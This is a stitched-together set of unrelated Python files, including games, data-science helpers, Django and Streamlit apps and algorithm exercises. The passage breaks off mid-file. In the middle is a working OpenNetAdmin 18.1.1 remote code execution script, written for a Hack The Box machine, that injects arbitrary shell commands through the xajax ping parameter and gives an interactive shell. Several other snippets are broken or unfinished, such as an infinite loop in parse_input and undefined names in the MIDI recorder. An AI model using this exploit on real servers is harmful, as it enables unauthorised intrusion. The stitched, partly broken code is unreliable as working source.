def sample_sequences(df, features, num_samples=None, seq_len=50, dims=1, test=False):
    X = []
    Y = []

    label_list = ['Feeding', 'Swimming', 'Resting', 'NDM']

    for idx, label in enumerate(label_list):
        print(str(idx) + ": " + label)

        class_df = df.loc[df['Label'] == label]
        groups = class_df['Group'].unique()
        if not test:
            X_class = np.zeros((num_samples, seq_len, dims), dtype=np.float32)
            Y_class = np.full((num_samples, 1), idx, dtype=np.int64)

            for i in range(num_samples):
                chunk_idx = groups[np.random.randint(len(groups))]

                data = class_df.loc[class_df['Group'] == chunk_idx][features].to_numpy()

                while(len(data) <= seq_len):
                    chunk_idx = groups[np.random.randint(len(groups))]

                    data = class_df.loc[class_df['Group'] == chunk_idx][features].to_numpy()

                rand = np.random.randint(len(data)-seq_len)

                X_class[i] = data[rand:rand+seq_len]

        else:
            X_class = []
            Y_class = []
            for group in groups:
                data = class_df.loc[class_df['Group'] == group][features].to_numpy()

                num_samples = len(data)//50

                X_group = np.zeros((num_samples, seq_len, dims), dtype=np.float32)
                Y_group = np.full((num_samples, 1), idx, dtype=np.int64)

                for i in range(num_samples):
                    X_group[i] = data[seq_len*i:seq_len*(i+1)]

                X_class.append(X_group)
                Y_class.append(Y_group)

            X_class, Y_class = np.concatenate(X_class), np.concatenate(Y_class)

            print(label + " -- num test points: " + str(Y_class.shape[0]))

        X.append(X_class)
        Y.append(Y_class)

    return np.concatenate(X), np.concatenate(Y)


import random
import hangman_words as hw
import hangman_art as art

stages=art.stages
logo=art.logo
print(logo)
chosen_word = random.choice(hw.word_list)
word_length = len(chosen_word)

end_of_game = False
lives = 6

#Create blanks
display = []
for _ in range(word_length):
    display += "_"

while not end_of_game:
    guess = input("Guess a letter: ").lower()

    if guess in display:
        print(f"{guess} is already predicted")

    #Check guessed letter
    for position in range(word_length):
        letter = chosen_word[position]
        if letter == guess:
            display[position] = letter

    #Check if user is wrong.
    if guess not in chosen_word:
        print(f"{guess} not matches with actual word, You lose one life")

        lives -= 1
        if lives == 0:
            end_of_game = True
            print("You lose.")

    #Join all the elements in the list and turn it into a String.
    print(f"{' '.join(display)}")

    #Check if user has got all letters.
    if "_" not in display:
        end_of_game = True
        print("You win.")
  #pick right picture based on the lives
    print(stages[lives])


"""
Arsh recently found an old rectangular circuit board that he would like to recycle.
The circuit board has R rows and C columns of squares.

Each square of the circuit board has a thickness, measured in millimetres.
The square in the r-th row and c-th column has thickness Vr,c.
A circuit board is good if in each row, the difference between the thickest square and the least thick square is no greater than K.

Since the original circuit board might not be good, Arsh would like to find a good subcircuit board.
A subcircuit board can be obtained by choosing an axis-aligned subrectangle from the original board and taking the squares in that subrectangle.
Arsh would like your help in finding the number of squares in the largest good subrectangle of his original board.

Similar to leetcode 134
"""

import numpy as np

"""
3
1 4 0
3 1 3 3
2 3 0
4 4 5
7 6 6
4 5 0
2 2 4 4 20
8 3 3 3 12
6 6 3 3 3
1 6 8 6 4
"""

def parse_input(T, rows, cols, acceptable_difference, board):
    result = []
    t = 0
    while t < T:
        pass
    return result

class Solution(object):
    def __init__(self, test_case_id, board_rows, board_cols, acceptable_difference, thicknesses):
        self.test_case_id = test_case_id
        self.rows = board_rows
        self.cols = board_cols
        self.K = acceptable_difference
        self.thickness_matrix = thicknesses

    def solve(self):
        row_ptr=0
        col_ptr=0
        result = 0
        while row_ptr<self.rows:
            row_thickness = self.thickness_matrix[row_ptr][col_ptr]
            while col_ptr < self.cols:
                if row_thickness == self.thickness_matrix[row_ptr][col_ptr]:
                    col_ptr += 1

if __name__ == "__main__":
    T = 3

    # Case #1: 2
    s = Solution(1, 1, 4, 0, [[3, 1, 3, 3]])

    # Case #2: 2
    s = Solution(2, 2, 3, 0, [[4, 4, 5],[7, 6, 6]])

    # Case #3: 6
    s = Solution(3, 4, 5, 0, [[2,2,4,4,20], [8,3,3,3,12], [6,6,3,3,3], [1,6,8,6,4]])

#     T = 3
# 1 4 2
# 3 1 3 3
# 3 3 2
# 0 5 0
# 8 12 3
# 7 10 1
# 4 4 8
# 20 10 20 10
# 10 4 5 20
# 20 5 4 10
# 10 20 10 20

# Case #1: 4
# Case #2: 3
# Case #3: 4


try:
    import importlib.resources as pkg_resources
except ImportError:
    # Try backported to PY<37 `importlib_resources`.
    import importlib_resources as pkg_resources

import pandas as pd

from worldcereal import resources

def load_refid_lut():
    with pkg_resources.open_text(resources, 'CIB_RefIdLUT.csv') as LUTfile:
        LUT = pd.read_csv(LUTfile, delimiter=";")

    return LUT

def load_refidweights():

    LUT = load_refid_lut()[['CIB', 'LC', 'CT', 'IRR']]

    LUT = LUT[LUT.isnull().sum(axis=1) == 0]
    LUT['CIB'] = ['_'.join(x.split('_')[:3]) for x in
                  LUT['CIB'].values]
    LUT = LUT.drop_duplicates().set_index('CIB')

    return LUT.to_dict(orient='index')

def get_refid_weight(ref_id, label, refidweights=None):
    '''
    Function to get the weight to be put on
    a particular ref_id.
    '''

    refid_weights = refidweights or load_refidweights()
    weight = refid_weights.get(ref_id, None)
    if weight is not None:
        weight = weight[label]
    else:
        weight = 90

    return weight


import matplotlib.pyplot as plt
import numpy as np

def loadData(fileName):
    """加载数据:解析以tab键分隔的文件中的浮点数

    Args:
        fileName : 数据集文件

    Returns:
        dataMat :   feature 对应的数据集
        labelMat :  feature 对应的分类标签，即类别标签
    """
    # 获取样本特征的总数，不算最后的目标变量
    numFeat = len(open(fileName).readline().split('\t')) - 1
    dataMat = []
    labelMat = []
    fr = open(fileName)
    for line in fr.readlines():
        # 读取每一行
        lineArr = []
        # 删除一行中以tab分隔的数据前后的空白符号
        curLine = line.strip().split('\t')
        # i 从0到2，不包括2
        for i in range(numFeat):
            # 将数据添加到lineArr List中，每一行数据测试数据组成一个行向量
            lineArr.append(float(curLine[i]))
            # 将测试数据的输入数据部分存储到dataMat 的List中
        dataMat.append(lineArr)
        # 将每一行的最后一个数据，即类别，或者叫目标变量存储到labelMat List中
        labelMat.append(float(curLine[-1]))
    return dataMat, labelMat

# 岭回归
def ridgeRegres(xMat, yMat, lam = 0.2):
    """
    Parameters:
        xMat - x数据集
        yMat - y数据集
        lam - 缩减系数
    Returns:
        ws - 回归系数
    """
    xTx = xMat.T * xMat
    denom = xTx + np.eye(np.shape(xMat)[1]) * lam
    if np.linalg.det(denom) == 0.0:
        print("矩阵为奇异矩阵,不能转置")
        return
    ws = denom.I * (xMat.T * yMat)
    return ws

def ridgeTest(xArr, yArr):
    """岭回归测试
    Args:
        xMat - x数据集
        yMat - y数据集
    Returns:
        wMat - 回归系数矩阵
    """
    xMat = np.mat(xArr); yMat = np.mat(yArr).T
    #数据标准化
    yMean = np.mean(yMat, axis = 0)                  #行与行操作，求均值
    yMat = yMat - yMean                              #数据减去均值
    xMeans = np.mean(xMat, axis = 0)                 #行与行操作，求均值
    xVar = np.var(xMat, axis = 0)                    #行与行操作，求方差
    xMat = (xMat - xMeans) / xVar                    #数据减去均值除以方差实现标准化
    numTestPts = 30                                  #30个不同的lambda测试
    wMat = np.zeros((numTestPts, np.shape(xMat)[1])) #初始回归系数矩阵
    for i in range(numTestPts):                      #改变lambda计算回归系数
        ws = ridgeRegres(xMat, yMat, np.exp(i - 10)) #lambda以e的指数变化，最初是一个非常小的数，
        wMat[i, :] = ws.T                            #计算回归系数矩阵
    # 30x8
    return wMat

def plotwMat():
    abX, abY = loadData('data/abalone.txt')
    redgeWeights = ridgeTest(abX, abY)
    fig = plt.figure()
    ax = fig.add_subplot(111)
    ax.plot(redgeWeights)
    ax_title_text = ax.set_title('The relationship between log(lambada) and regression coefficient')
    ax_xlabel_text = ax.set_xlabel('log(lambada)')
    ax_ylabel_text = ax.set_ylabel('regression coefficient')
    plt.setp(ax_title_text, size = 10, weight = 'bold', color = 'red')
    plt.setp(ax_xlabel_text, size = 10, weight = 'bold', color = 'black')
    plt.setp(ax_ylabel_text, size = 10, weight = 'bold', color = 'black')
    plt.show()

if __name__ == '__main__':
    plotwMat()


#!/usr/bin/env env/bin/python

import argparse
import mido
from timeit import default_timer as timer

PROG_NAME = 'rmidi'
PROG_DESCRIP = 'record midi data from given input to given file'
DEFAULT_INPUT = 'KeyLab mkII 61:KeyLab mkII 61 MIDI'
DEFAULT_BPM = 120
SECONDS_PER_MIN = 60

def get_cmd_args():
    parser = argparse.ArgumentParser(prog=PROG_NAME, description=PROG_DESCRIP)
    parser.add_argument('-b', '--bpm', default=DEFAULT_BPM)
    parser.add_argument('-i', '--input')
    parser.add_argument('-f', '--file')
    parser.add_argument('-s', '--silence', action='store_true')
    parser.add_argument('-v', '--verbose', action='store_true')
    return parser.parse_args()

def get_midi_in():
    inputs = mido.get_input_names()
    default_i = 0
    entry = -1

    while(entry < 0 or entry >= len(inputs)):
        for i, name in enumerate(inputs):
            if DEFAULT_INPUT in name:
                default_i = i
            print('%d: %s' % (i, name))

        raw_entry = input('Input (default: %d): ' % default_i)

        try:
            entry = int(raw_entry)
        except ValueError:
            entry = default_i

    return inputs[entry]

def get_appending_handler(appendable, ticks_per_second, print_msgs):
    def full(x):
        appendable.append(x)
        print(x)

    def append_only(x):
        appendable.append(x)

    if print_msgs:
        return full

    return append_only

def print_input(midi_in):
    process_msgs(lambda x: print(x))

def accumulate_input(midi_in, appendable, ticks_per_second, print_msgs=True):
    handler = get_appending_handler(appendable, ticks_per_second, print_msgs)
    process_msgs(handler, ticks_per_second=ticks_per_second)

def process_msgs(handler, ticks_per_second=0):
    last_time = timer()

    try:
        with mido.open_input(midi_in) as inport:
            for msg in inport:

                end = timer()
                seconds = end - last_time
                last_time = end
                msg.time = round(ticks_per_second * seconds)

                handler(msg)
    except KeyboardInterrupt:
        if print_msgs:
            print() # Just so the "^C" ends up on a separate line from prompt on exit
        pass

def record_to_file(midi_in, filename, bpm, print_msgs, trim_init_silence):
    mid = mido.MidiFile(type=0)
    track = mido.MidiTrack()
    mid.tracks.append(track)

    ticks_per_second = bpm * mid.ticks_per_beat / SECONDS_PER_MIN

    accumulate_input(midi_in, track, ticks_per_second, print_msgs)

    if trim_init_silence:
        track[0].time = 0

    mid.save(filename)

    print('MIDI data written to', filename)

if __name__ == '__main__':
    args = get_cmd_args()
    midi_in = args.input
    filename = args.file
    bpm = args.bpm
    print_msgs = args.verbose
    trim_init_silence = not args.silence

    if not midi_in:
        midi_in = get_midi_in()

    print('Receiving from "%s"' % midi_in)

    if filename:
        record_to_file(midi_in, filename, bpm, print_msgs, trim_init_silence)
    elif print_msgs:
        print_input(midi_in)


import pandas as pd
import argparse
import json
# Creates json file with the number of times each hot topic appears in the annotaed file

parser = argparse.ArgumentParser()
parser.add_argument('-o', '--outfile')
parser.add_argument('-i', '--coded_file', required=True)
args = parser.parse_args()

# "Hot Topics"
result = {'course-related': '0', 'food-related': '0', 'residence-related': '0', 'other': '0'}

def get_count(coded_file):
    df = pd.read_csv(coded_file, sep='\t', header=0)  # convert infile to dataframe
    count = df['coding'].value_counts()

    for category in list(result.keys()):
        letter = category[:1] # course-related -> c
        if letter in count.index:
            result[category] = int(count[letter])
    return result

def main():
    count_result = get_count(args.coded_file)
    if args.outfile:
        with open(args.outfile,'w') as outfile:
            json.dump(count_result,outfile)
    print(result)

if __name__ == '__main__':
    main()


from flask import Flask, jsonify, request
from calculation import Calc

app = Flask(__name__)

@app.route('/get_time', methods=['POST'])

def give_res():
    do = Calc()
    answer_dict = {}
    n = 1  # переменная для нумерации ответов в словаре answer_dict

    for i, test in enumerate(request.json):      # нумеруем и итерируем данные из нужной нам части запроса
        test_answer = do.appearance(test['data'])   # за расчетами обращаемся к классу в отдельном файле (calculate.py)
#        assert test_answer == test['answer'], f'Error on test case {i}, got {test_answer}, expected {test["answer"]}'
        answer_dict.setdefault(n, test_answer)
        n += 1
#    print(answer_dict)

    return jsonify(answer_dict)

if __name__ == '__main__':
    app.run()


import random

class Noise:
    #Switches 0 to 1 an 1 to 0 in a string
    def swap_bit(bit: str) -> str:
        if bit == '1':
            return '0'
        else:
            return '1'

    #Simple noise. Tests the probability for each bit
    @staticmethod
    def simple_noise(data, switch_probability):
        data_list = list(data)
        for i, c in enumerate(data_list):
            if switch_probability >= random.random():
                data_list[i] = Noise.swap_bit(c)
        return ''.join(data_list)

    #Different noise algorithm
    @staticmethod
    def efficient_noise(data, switch_probability):
        data_list = list(data)
        length = len(data_list)
        prob = random.triangular(0, length, length * switch_probability) #Calculate the amount of bits to switch
        bits_to_switch = int(round(prob)) #Round it to an integer

        for i in range(bits_to_switch):
            index = random.randint(0, length - 1) #Switch bit on a random position
            data_list[index] = Noise.swap_bit(data_list[index])
        return ''.join(data_list)


import scipy.stats as sc

class Voting_Regressor:

    """
    Voting Regressor:

    Makes use of the bagging ensemble method (different algorithms on the same data) to predict continuous values
    It does this by training the algorithms on the data individually,
    and aggregating their predictions into a single prediction for each row.

    It computes a prediction by averaging the continous predictions of each algorithm.

        PARAMETERS
        ----------
            estimators: list of regressors

        RETURNS
        -------
            array of predictions

    """
    def __init__(self, estimators):
        self.estimators = estimators

    def fit(self, X, y):
        self.fitted_estimators = [
            estimator.fit(
                X, y
            ) for estimator in self.estimators
        ]
        return self

    def predict(self, X):

        y_hats = np.empty(
                (
                    len(
                        self.fitted_estimators
                    ),
                    len(X)
                )
            )
        for i, estimator in enumerate(self.fitted_estimators):
            y_hats[i] = estimator.predict(X)
        return np.mean(y_hats, axis = 0)


from django.http import JsonResponse
from jam.spotify_api import url_argument_parse
import pitchfork
import re
import urllib

try:
    import urllib.request as urllib2
except ImportError:
    import urllib2

#######################
# PITCHFORK API WRAPPER
#######################
def search(request, artist, album):
    review = pitchfork.search(url_argument_parse(artist), url_argument_parse(album))
    review_dictionary = {"artist": review.artist(), "album": review.album(), \
        "editorial": repair_editorial(review.editorial()), "label": review.label(), "score": review.score()}
    return JsonResponse(review_dictionary)

def repair_editorial(editorial):
    print(editorial)
    regex = re.compile(r'.[A-Z]')
    repaired_editorial = ""
    for token in editorial.split():
        if regex.search(token) is not None:
            repaired_editorial += token.replace(".", ".\n ")
            repaired_editorial += " "
        else:
            repaired_editorial += token
            repaired_editorial += " "
    print(repaired_editorial)
    return repaired_editorial


from .models import BookModel, AuthorModel
from django import forms
import re
from django.utils.translation import gettext_lazy as _
from django.core.exceptions import ValidationError
import datetime

class BookCreateForm(forms.Form):
    authors = forms.CharField(max_length=100, required=True, widget=forms.TextInput(attrs={
        'id': 'authors_field',
        'class': 'input-book',
        'placeholder': 'Введите название авторов через запятую'
    }))
    name = forms.CharField(max_length=100, required=True, widget=forms.TextInput(attrs={
        'class': 'input-book',
        'placeholder': 'Введите название книги'
    }))
    year = forms.IntegerField(max_value=datetime.datetime.now().year, required=False, widget=forms.NumberInput(attrs={
        'class': 'input-book',
        'placeholder': 'Введите год издания книги'
    }))
    language = forms.CharField(max_length=30, required=False, widget=forms.TextInput(attrs={
        'class': 'input-book',
        'placeholder': 'Введите язык книги'
    }))
    description = forms.CharField(max_length=400, required=False, widget=forms.Textarea(attrs={
        'class': 'input-book-description-textarea',
        'placeholder': 'Введите описание книги'
    }))

    image = forms.ImageField(required=False, widget=forms.FileInput(attrs={
        'class': 'file-input',
        'placeholder': 'Описание...',
        'name': "file",
        'id': "choose-file-container",
        'oninvalid': "this.setCustomValidity('Enter User Name Here')",
        'oninput': "this.setCustomValidity('')"
    }))

    def clean_authors(self):
        authors = self.cleaned_data['authors']

        if re.search(r'[^а-яА-Яa-zA-Z-,.\' ]', authors):
            raise forms.ValidationError(
                "Имя автора может состоять из букв русского и английского алфавита, символов -,.' ")

        return authors

    def clean_name(self):
        name = self.cleaned_data['name']

        if re.search(r'[^а-яА-Яa-zA-Z-,1234567890.+!?#$%()/@\' ]', name):
            raise forms.ValidationError(
                "Название книги может состоять из букв русского и английского алфавита, цифр, символов -,.'+!?#$%()/@")

        return name

    def clean_description(self):
        description = self.cleaned_data['description']

        if re.search(r'[^а-яА-Яa-zA-Z-,.()%$#@!&*?+=/;:"0123456789\' ]', description):
            raise forms.ValidationError(
                "Описание может состоять из букв русского и английского алфавита, цифр, символов -,.'()%$#@!&*?+=/;:")

        return description

    def clean_language(self):
        language = self.cleaned_data['language']

        if re.search(r'[^а-яА-Яa-zA-Z-,. ]', language):
            raise forms.ValidationError(
                "Язык может состоять из букв русского и английского алфавита, -,.")

        return language

    def clean_year(self):
        year = self.cleaned_data['year']

        if year:
            cur_year = datetime.datetime.now().year
            if re.search(r'\d\d\d\d\d', str(year)):
                raise forms.ValidationError(
                    "Год может состоять только из цифр (максимум 4 цифры)!")

            if year > cur_year or year <= 0:
                raise forms.ValidationError(
                    "Год не может быть больше текущего и меньше 0")

        return year


# -*- coding: utf-8 -*-

import sys
from nltk.tag import StanfordNERTagger
from nltk.tokenize import word_tokenize
from sklearn.metrics import precision_recall_fscore_support as score

def computeStatistics(expected_tags, generated_tags):
	unique_tags = list()
	floatFormat = "{:.2f}"

	for tag in generated_tags:
		if tag not in unique_tags:
			unique_tags.append(tag)

	precision, recall, fscore, support = score(expected_tags, generated_tags)

	fw = open("precision_recall_fscore.txt", "w")
	fw.write('{:20} {:10} {:10} {:10}'.format("Tag", "Precision", "Recall", "F-Measure"))
	fw.write("\n")

	for (t, p, r, f) in zip(unique_tags, precision, recall, fscore):
		fw.write('{:20} {:10} {:10} {:10}'.format(str(t), str(floatFormat.format(p)), str(floatFormat.format(r)), str(floatFormat.format(f))))
		fw.write("\n")
	fw.close()

def getTags(filename):
	tag_sequence = list()
	fr = open(filename, 'r')
	for line in fr:
		tokenized_line = word_tokenize(line)
		for token in tokenized_line:
			if '_' in token:
				tag_sequence.append(token.split('_')[1])
			else:
				tag_sequence.append('O')
	fr.close()
	return tag_sequence

def getOutputAsString(classified_text):
	output_str = ""
	for token in classified_text:
		if token[1] == 'O':
			output_str += token[0] + " "
		else:
			output_str += token[0] + "_" + token[1] + " "
	return output_str

def main():
	if len(sys.argv) < 3 or len(sys.argv) > 3:
		print("Usage: python3 111508041_Assign5-Code.py <pretrained_file> <test_file>")
		exit(1)

	expected_tags = getTags(sys.argv[1])
	print(expected_tags)
	try:
		st = StanfordNERTagger('/home/dell/Practicals/NLP/111508041_Assign5/stanford-ner-2018-02-27/classifiers/english.muc.7class.distsim.crf.ser.gz', '/home/dell/Practicals/NLP/111508041_Assign5/stanford-ner-2018-02-27/stanford-ner.jar', encoding="utf-8")
	except LookUpError:
		print("Please change the path to the jar file")
		exit(1)

	fr = open(sys.argv[2], 'r')
	fw = open('NER_labelled_Corpus_111508041.txt', 'w')

	for lines in fr:
		tokenized_text = word_tokenize(lines)
		classified_text = st.tag(tokenized_text)
		output_str = getOutputAsString(classified_text)
		fw.write(output_str)
		fw.write('\n')
		fw.flush()
	fw.close()
	fr.close()

	generated_tags = getTags('output.txt')
	print(generated_tags)
	computeStatistics(expected_tags, generated_tags)

if __name__ == '__main__':
	main()


#!/usr/bin/python3
# a simple script, meant to get the 1st initial shell on openAdmin machine from HTB
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Origin exploit @mattpascoe
# python version @m3dsec
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1

import requests
import json
import re
import sys

if len(sys.argv) != 2:
	print("USAGE : python3 exploit.py URL")
	#print("USAGE : python3 exploit.py http://10.10.10.171/ona/")
	exit()

url = sys.argv[1]
while True:
	try:
		userCmd = input('$ ')
		headers = {"Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded"}
		data1 = "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo 'BEGIN';{};echo 'END'&xajaxargs[]=ping".format(userCmd)
		r = requests.post(url, data=data1, headers=headers)
		result = re.search(r"BEGIN(.*)END", r.text, re.S)
		print(result.group(1))
	except KeyboardInterrupt:
		exit(0)


class Solution:
    # @param {int[]} A an integer array sorted in ascending order
    # @param {int} target an integer
    # @return {int} an integer
    def lastPosition(self, A, target):
        if not A or target is None:
            return -1

        start = 0
        end = len(A) - 1

        while start + 1 < end:
            mid = start + (end - start) // 2

            if A[mid] < target:
                start = mid
            elif A[mid] > target:
                end = mid
            else:
                start = mid

        if A[end] == target:
            return end
        elif A[start] == target:
            return start
        else:
            return -1
    """
    @param nums: a mountain sequence which increase firstly and then decrease
    @return: then mountain top
    """
    def mountainSequence(self, nums):
        if not nums:
            return -1

        # find first index i so that nums[i] > nums[i + 1]
        start, end = 0, len(nums) - 1
        while start + 1 < end:
            mid = (start + end) // 2
            # mid + 1 保证不会越界
            # 因为 start 和 end 是 start + 1 < end
            if nums[mid] > nums[mid + 1]:
                end = mid
            else:
                start = mid

        return max(nums[start], nums[end])

    """
    @param x {float}: the base number
    @param n {int}: the power number
    @return {float}: the result
    """
    def myPow(self, x, n):
        if n < 0 :
            x = 1 / x
            n = -n

        ans = 1
        tmp = x

        while n != 0:
            if n % 2 == 1:
                ans *= tmp
            tmp *= tmp
            n //= 2
        return ans

sol = Solution()
a1 = [1,2,3,4,4,6]
print(sol.lastPosition(a1, 4))


'''Accept a positive integer n as input and find the print the smallest integer that is divisible by all the integers in the range [1,n], endpoints inclusive.'''

n = int(input())

num = n
found = False
while not found:
    found = True
    for i in range(1, n+1):
        if num % i != 0:
            found = False
            num = num + 1
            break
print(num)


import streamlit as st
from PIL import Image
import random
import pandas as pd

def app():
	image = Image.open('./picture/khtn.PNG')
	st.image(image, width=500)

	st.markdown("------")

	st.markdown("""

	""", unsafe_allow_html=True)

	st.markdown('
Bài 15: List (mở rộng)
', unsafe_allow_html=True)

	st.markdown("## Hãy xắp xếp hình theo hình mẫu")
	st.image(Image.open('./picture/van.jpg'), width=800)

	st.write("### Hình cần xắp xếp: ")
	col1, col2, col3, col4 = st.columns(4)

	# left = 5
	# top = height / 4
	# right = 164
	# bottom = 3 * height / 4

	# im1 = im.crop((left, top, right, bottom))

	imwidth = 1920
	imheight = 1604

	onethid_imw = imwidth/3   # = 640
	onethid_height = imheight/3  # = 534.6

	with col1:

		pic6 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, onethid_height, onethid_imw*3, onethid_height*2)), width=350)
		#st.write("## a")
		st.markdown('
 a ', unsafe_allow_html=True)

		pic5 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, onethid_height, onethid_imw*2, onethid_height*2)), width=350)
		st.markdown('
 d ', unsafe_allow_html=True)
		pic3 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, 0, onethid_imw*3, onethid_height)), width=350)
		st.markdown('
 g ', unsafe_allow_html=True)
		#st.markdown('
 d
', unsafe_allow_html=True)
		#st.markdown('
 g
', unsafe_allow_html=True)

	with col2:

		pic9 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, onethid_height*2, onethid_imw*3, onethid_height*3)), width=350)
		st.markdown('
 b ', unsafe_allow_html=True)

		pic7 = st.image(Image.open('./picture/van.jpg').crop((0, onethid_height*2, onethid_imw, onethid_height*3)), width=350)
		st.markdown('
 e ', unsafe_allow_html=True)

		pic1 = st.image(Image.open('./picture/van.jpg').crop((0, 0, onethid_imw, onethid_height)), width=350)
		st.markdown('
 h ', unsafe_allow_html=True)

	with col3:

		pic4 = st.image(Image.open('./picture/van.jpg').crop((0, onethid_height, onethid_imw, onethid_height*2)), width=350)
		st.markdown('
 c ', unsafe_allow_html=True)

		pic8 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, onethid_height*2, onethid_imw*2, onethid_height*3)), width=350)
		st.markdown('
 f ', unsafe_allow_html=True)

		pic2 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, 0, onethid_imw*2, onethid_height)), width=350)
		st.markdown('
 i ', unsafe_allow_html=True)

	with col4:
		pass

	st.write("## Hãy xắp xếp hình trên vào thứ tự trong khung để hoàn thiện")
	st.image(Image.open('./picture/frame.PNG'), width=400)
	selection = st.multiselect(" ", options=["a", "b", "c", "d", "e", "f", "g", "h", "i"])

	if st.button("Xem kết quả: "):

		if selection == ["h", "i", "g", "c", "d", "a", "e", "f", "b"]:
			st.write("#### Chính xác chúc mừng bạn :tada:")

			col5, col6, col7, col8, col9, col10 = st.columns(6)

			with col5:

				pic1 = st.image(Image.open('./picture/van.jpg').crop((0, 0, onethid_imw, onethid_height)), width=200)

				pic4 = st.image(Image.open('./picture/van.jpg').crop((0, onethid_height, onethid_imw, onethid_height*2)), width=200)

				pic7 = st.image(Image.open('./picture/van.jpg').crop((0, onethid_height*2, onethid_imw, onethid_height*3)), width=200)

			with col6:

				pic2 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, 0, onethid_imw*2, onethid_height)), width=200)

				pic5 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, onethid_height, onethid_imw*2, onethid_height*2)), width=200)
				pic8 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw, onethid_height*2, onethid_imw*2, onethid_height*3)), width=200)

			with col7:
				pic3 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, 0, onethid_imw*3, onethid_height)), width=200)

				pic6 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, onethid_height, onethid_imw*3, onethid_height*2)), width=200)

				pic9 = st.image(Image.open('./picture/van.jpg').crop((onethid_imw*2, onethid_height*2, onethid_imw*3, onethid_height*3)), width=200)

			with col8:
				pass
			with col9:
				pass

			with col10:
				pass
			st.write("----")
			st.write("#### Bức ảnh hoàn thiện ")
			st.image(Image.open('./picture/van.jpg'), width=800)
			st.write("""##### Thông tin tranh vẽ
				Tên: Fields near the Alpilles
	Tác giả: Vincent van Gogh’s
	Năm: 1889
	Địa điểm: Pháp""")

		else:
			st.write("#### Bạn sai rồi hãy xắp xếp lại nhé :cry:")


from django.urls import path

from .views import (case_detail, add_case, update_case,
                    delete_case, add_task,upload_files,
                    new_case,  pending_list, completed_list, CaseList, CaseCreateView, CategoryListView,
                    delete_cat, cat_update, cat_add, add_argument, cat_detail, file_list,
                    delete_files, task_view, task_list_view, completed, delete_task, argument_list, argument_detail, arg_update, arg_delete, case_filter, complete_case,
                    court_list, add_court, court_detail, update_court, court_delete,

                    add_session, update_session, detail_session, delete_session,bill_case,

                    add_process, edit_task,generate_process,generate_process1,list_processes,process_detail,update_process,delete_process,add_to_archives,
                    upload_archives,update_archive,archive_detail,
                    add_action_report,list_action_reports,update_action,post_action_detail,delete_action,
                    add_rep,rep_detail,update_rep,delete_rep,rep_list,
                    case_history,
                    request_file,request_list,approve_request,make_request,all_files,start_timer,case_hours,
                    add_expense,ExpenseDetailView,ExpenseListView,update_expense,delete_expense,
                    RenumerationList,approve_renumeration,request_renumeration,
                    request_client_payment,update_client_payment,client_payment_list,client_payment_detail,edit_start_timer, addpercharge, PendingExpenseListView, accept_expense,
                    decline_expense,resend_expense,generate_invoice_total, generate_invoice_total_save,calendar,all_user_logs,all_user_logs_per_case,upload_terms_files,terms_files_list,terms_edit

                    )

app_name = "cases"

urlpatterns = [

    path('cases/list/', CaseList.as_view(), name='case_list'),
    path('calendar/', calendar, name='calendar'),
    path('cases/list/filter-cases', case_filter, name='case_filter'),

    path("cases/pending-list", pending_list, name="pending_list"),

    path("cases/completed-list", completed_list, name="completed_list"),
    ############################### ARCHIVED CASES #####################################################
    path("cases/archived_cases", add_to_archives, name="add_archive"),
    path("cases/archives/<int:pk>/archive-details", archive_detail, name="archive_detail"),
    path("cases/archives/<int:pk>/update-archive",update_archive, name="archive_update"),
    path("cases/archives/<int:pk>/upload-files",upload_archives, name="archive_upload"),

    path("cases/<int:pk>/case-detail", case_detail, name="case_detail"),
    path("cases/add-case", add_case, name="add_case"),

    path("cases/<int:pk>/case-update", update_case, name="case_update"),
    path("cases/<int:pk>/case-delete", delete_case, name="case_delete"),
    path("cases/tasks/<int:pk>/add-task", add_task, name="add_task"),
    path("cases/files/<int:pk>/add-files", upload_files, name="upload_files"),

    ############################### TERMS OF ENGAGEMENT ########################################################
    path("cases/termsofengagement/<int:pk>/add-files", upload_terms_files, name="upload_terms_files"),
    path("cases/termsofengagement/<int:pk>/list-files", terms_files_list, name="terms_files_list"),
    path("cases/termsofengagement/terms_edit", terms_edit, name="terms_edit"),

    ############################### CATEGORY ########################################################
    path("cases/category/list", CategoryListView.as_view(), name="cat_list"),
    path("cases/category/<int:pk>/update",
         cat_update, name="cat_update"),
    path("cases/category/<int:pk>/delete", delete_cat, name="cat_delete"),
    path("cases/category/add", cat_add, name="cat_add"),
    path("cases/argument/<int:pk>/add", add_argument, name="add_arg"),
    path("cases/category/<int:pk>/detail", cat_detail, name="cat_detail"),
    path("cases/<int:pk>/case-files", file_list, name="file_list"),
    path("cases/<int:pk>/delete_file", delete_files, name="delete_file"),
    path("cases/tasks/<int:pk>/list", task_view, name="task_list"),
    path("cases/tasks/<int:pk>/list-tasks", task_list_view, name="list_tasks"),
    path("cases/tasks/<int:pk>/completed", completed, name="completed"),
    path("cases/tasks/<int:pk>/delete", delete_task, name="delete_task"),
    path("cases/<int:pk>/legal_arguments/list",
         argument_list, name="argument_list"),
    path("cases/<int:pk>/legal_arguments/detail",
         argument_detail, name="argument_detail"),
    path("cases/<int:pk>/legal_arguments/update",
         arg_update, name="argument_update"),
    path("cases/<int:pk>/legal_arguments/delete",
         arg_delete, name="argument_delete"),

    path("cases/<int:pk>/case-update-status",
         complete_case, name="complete_case"),
    ########################################################## COURT ######################################################################
    path('cases/courts/list', court_list, name='court_list'),
    path('cases/courts/<int:pk>/court-detail',
         court_detail, name="court_detail"),
    path('cases/courts/<int:pk>/court-update',
         update_court, name="court_update"),
    path('cases/courts/add', add_court, name="court_add"),
    path('cases/courts/<int:pk>/court-delete',
         court_delete, name="court_delete"),

    #################################################### COURT SESSIONS #################################################################

    path('cases/court-sessions/<int:pk>/add', add_session, name="session_add"),
    path('cases/court-sessions/<int:pk>/details',
